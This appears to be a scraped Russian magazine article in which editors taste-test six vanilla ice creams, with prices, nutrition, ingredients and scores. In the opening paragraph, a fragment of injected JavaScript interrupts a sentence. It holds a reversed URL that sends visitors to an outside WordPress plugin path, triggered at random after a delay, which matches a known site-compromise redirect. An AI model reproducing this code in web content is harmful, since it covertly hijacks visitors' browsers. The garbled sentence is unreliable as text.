Как выбрать мороженое: тест редакции

Мороженое — это классический летний перекус. Редакция fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru протестировала шесть ванильных пломбиров и делится впечатлениями.

Пломбир «Филёвский» от «Айсберри»

Как выбрать мороженое: тест редакции. Изображение номер 1

Фото: iceberry.ru

Цена: 139 рублей за 450 граммов.

Калорийность: 225 ккал на 100 граммов.

БЖУ: белки 3 грамма, жиры 15 граммов, углеводы 19,5 грамма.

Состав: молоко коровье цельное, масло сливочное, молоко цельное сгущённое с сахаром, вода питьевая, сахар, молоко цельное сухое, сухой глюкозный сироп, эмульгаторы — моно- и диглицериды жирных кислот, стабилизаторы — гуаровая камедь, камедь рожкового дерева, тары камедь, каррагинан, натуральный ароматизатор «Ваниль».

Настя Баранова

редактор

Мороженое без растительных жиров, что приятно. Сделано по ГОСТу пломбиров, это указано крупным шрифтом на упаковке. Благодаря сгущёнке вкус — нежный сливочный, но не приторный. Когда пломбир подтаивает, чувствуется вкус бумажного пакета, в который мороженое расфасовано. Такое мороженое можно смешивать с какао — шоколадный порошок разбавляет сладость пломбира и получается некалорийный десерт. Упаковки хватит на семь-восемь порций.

Оценка: 5 балов из 5.

Пломбир «Чистая линия»

Как выбрать мороженое: тест редакции. Изображение номер 2

Фото: www.omoloko.ru

Цена: 339 рублей за 450 граммов.

Калорийность: 205 ккал на 100 граммов.

БЖУ: белки 3 грамма, жиры 15 граммов, углеводы 20 граммов.

Состав: молоко коровье цельное — 51,5%, сливки натуральные с массовой долей жира 21,6—40%, молоко сгущённое цельное с сахаром — 17,7% (нормализованное молоко, сахар), сахар — 5,5%, глюкозный сироп — 2,0%, цитрусовые волокна — 0,6%, яичный желток — 0,5%, молочный белок — 0,5%, ароматизатор натуральный «Ваниль» — 0,1%.

Аня Щёкина

шеф-редактор

Пломбир продаётся в пачках разного объёма. Мне достался большой семейный вариант весом 450 граммов. Понравилось, что мороженое упаковано в бумагу, а не в пластик. На упаковке крупным шрифтом указан не только состав, но и процентное содержание каждого продукта: так, молока в составе этого пломбира — 51,5%, ещё 21,6% — натуральных сливок и 17,7% — сгущённого молока. В составе мороженого нет растительных жиров, пломбир изготовлен по ГОСТу 31457-2012. Вкус у пломбира классический. Пожалуй, таким и должно быть мороженое. Хотелось бы чуть меньше сахара в составе, но если использовать пломбир как добавку, например, к кофе, получается очень вкусно.

Оценка: 5 баллов из 5.

Пломбир на сливках «Село Зелёное»

Как выбрать мороженое: тест редакции. Изображение номер 3

Фото: selo-zelenoe.ru

Цена: 40 рублей за 70 граммов.

Калорийность: 256 ккал на 100 граммов.

БЖУ: белки 3,7 грамма, жиры 18,7 грамма, углеводы 18,3 грамма.

Состав: молоко, сливки, молоко сгущённое цельное с сахаром, сливочное масло, яичный меланж, сахар, вафельный стаканчик (мука пшеничная, крахмал кукурузный, масло растительное, клетчатка пшеничная, сахар, эмульгатор соевый лецитин, соль, яичный меланж, разрыхлитель гидрокарбонат натрия), сироп сухой глюкозный, вода питьевая, сухое обезжиренное молоко, желатин, ароматизаторы — ванилин, «Сливки премиум», «Пломбир».

Галя Хатиашвили

главный редактор, операционный директор

Мороженое белого цвета, не очень сладкое, со сливочным привкусом. В описании заявлен аромат ванили — честно говоря, не очень его почувствовала.

Оценка: 4 балла из 5.

Пломбир без сахара «ВкусВилл»

Как выбрать мороженое: тест редакции. Изображение номер 4

Фото: vkusvill.ru

Цена: 90 рублей за 75 граммов.

Калорийность: 93,9 ккал на 100 граммов.

БЖУ: белки 6 граммов, жиры 4,5 грамма, углеводы 7,2 грамма.

Состав: молоко, сливки, инулин (пребиотики), эритритол (натуральный сахарозаменитель из плодов сливы и винограда), молочный белок, крахмалы (из тапиоки и риса), экстракт стевии (натуральный сахарозаменитель из листьев стевии), эссенция мадагаскарской ванили.

Аня Тючкалова

редактор

Мороженое продаётся в маленькой баночке, в комплекте идёт ложка — удобно есть на улице. Надпись на упаковке сразу даёт информацию о калорийности: всего 70 калорий. Это почти в два раза меньше, чем у аналогов. В этом мороженом сахар заменён на эритритол и экстракт стевии. Но вкус мороженого ничем не отличается от того, в составе которого есть сахар. Ко вкусу претензий нет — именно такого мороженого хочется летом.

Оценка: 5 баллов из 5.

Пломбир «Ашан»

Как выбрать мороженое: тест редакции. Изображение номер 5

Фото: Настя Баранова

Цена: 189 рублей за 500 граммов.

Калорийность: 230 ккал на 100 граммов.

БЖУ: белки 3 грамма, жиры 15 граммов, углеводы 20 граммов.

Состав: вода питьевая, масло сливочное, сахар, молоко сухое цельное, молоко цельное сгущённое с сахаром, эмульгаторы — моно- и диглицериды жирных кислот, стабилизаторы — гуаровая камедь, камедь рожкового дерева, карбоксиметилцеллюлоза, каррагинан, натуральный ароматизатор «Ванилин».

Настя Баранова

редактор

Мороженое довольное сладкое. Вкус очень приятный, не химический. Ничего лишнего, вроде растительных жиров, в нём нет. На первом месте в составе вода, из-за этого мороженое кажется менее жирным, чем остальные варианты. Ещё чувствуются кристаллики льда. Большой пластиковой ванночки мороженого хватит на всю семью.

Оценка: 4 балла из 5.

Пломбир «48 копеек» от Nestle

Как выбрать мороженое: тест редакции. Изображение номер 6

Фото: nestle.ru

Цена: 109 рублей за 220 граммов.

Калорийность: 221 ккал на 100 граммов.

БЖУ: белки 2,7 грамма, жиры 13 граммов, углеводы 22 грамма.

Состав: молочный напиток, сыворотка молочная восстановленная, масло сливочное, сахар, глюкоза, инулин, ароматизаторы натуральный (сливки) и идентичный натуральному (ваниль), эмульгатор — моно- и диглицериды жирных кислот, стабилизаторы — гуаровая камедь, камедь рожкового дерева, каррагинан. Изготовлено с использованием сухого молока и сухой молочной сыворотки.

Аня Тючкалова

редактор

На упаковке мороженого есть рекомендации по размерам порций: для взрослых — 100 граммов (два шарика), для детей — 50 граммов (один шарик). Не знаю, сколько потенциальных покупателей увидят эту информацию, но идея хорошая. В составе мороженого вроде как нет ничего лишнего. А вот вкус показался приторно-сладким.

Статьи по теме

Как приготовить мороженое дома: 6 простых рецептов

Десерт дня: мороженое из маскарпоне с базиликом

Лайфхак: чтобы облегчить боль в горле, съешьте мороженое

Какие лимонады покупать: тест редакции

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector